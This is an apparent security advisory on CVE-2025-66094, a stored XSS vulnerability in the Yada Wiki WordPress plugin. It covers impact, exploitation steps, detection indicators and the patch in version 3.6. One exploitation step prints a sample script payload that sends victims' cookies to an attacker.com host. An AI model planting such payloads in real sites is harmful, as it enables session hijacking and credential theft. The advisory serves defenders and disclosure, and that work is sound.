CVE-2025-66094: 
WordPress vulnerability analysis and mitigation

CVE-2025-66094 is a Stored Cross-Site Scripting (XSS) vulnerability in the Yada Wiki WordPress plugin developed by dmccan. It affects all versions of the plugin up to and including version 3.5, and was discovered by Muhammad Yudha - DJ, reported on October 25, 2025, and publicly disclosed on December 30, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium), assigned by Patchstack (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An authenticated user with at least Contributor or Developer-level privileges can inject malicious scripts into wiki content that is then stored in the database and rendered to other users who visit the affected pages. Exploitation requires low attack complexity and a network-accessible target, but does require user interaction from a victim to trigger the payload. No public proof-of-concept code has been identified at this time (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the Yada Wiki plugin's content, which executes in the browsers of other users — including administrators — who view the affected wiki pages. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims, and delivery of malicious redirects or advertisements. The CVSS scope is marked as Changed, indicating that the impact extends beyond the vulnerable component to affect other users of the application (Patchstack, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-66094. The EPSS score is approximately 0.033%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Yada Wiki plugin version 3.5 or earlier using tools like WPScan or by checking the plugin version in publicly accessible readme files.
2. Obtain credentials: Acquire or use existing Contributor or Developer-level WordPress credentials, either through phishing, credential stuffing, or legitimate access.
3. Inject malicious payload: Log in to the WordPress dashboard and navigate to the Yada Wiki plugin's content editor. Insert a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a wiki page field that lacks proper output sanitization.
4. Save and distribute: Publish or update the wiki page containing the payload. The malicious script is now stored in the database.
5. Trigger execution: When any user (including administrators) visits the compromised wiki page, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing POST requests to wiki page edit/save endpoints from unexpected or low-privilege user accounts; repeated access to wiki pages by unusual IP addresses after content modification.
• File System: Unexpected changes to wiki page content in the WordPress database (wp_posts table) containing <script> tags or encoded JavaScript payloads.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting wiki pages; traffic to attacker-controlled domains carrying cookie or session data in query parameters.
• Application: Presence of obfuscated or encoded JavaScript (e.g., eval(), atob(), String.fromCharCode()) within Yada Wiki page content when reviewing stored entries in the WordPress admin panel (Patchstack).

The vulnerability is patched in Yada Wiki version 3.6. Site administrators should update the plugin to version 3.6 or later immediately via the WordPress plugin dashboard. If an immediate update is not possible, restricting Contributor and Developer role access to wiki content creation can reduce exposure. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).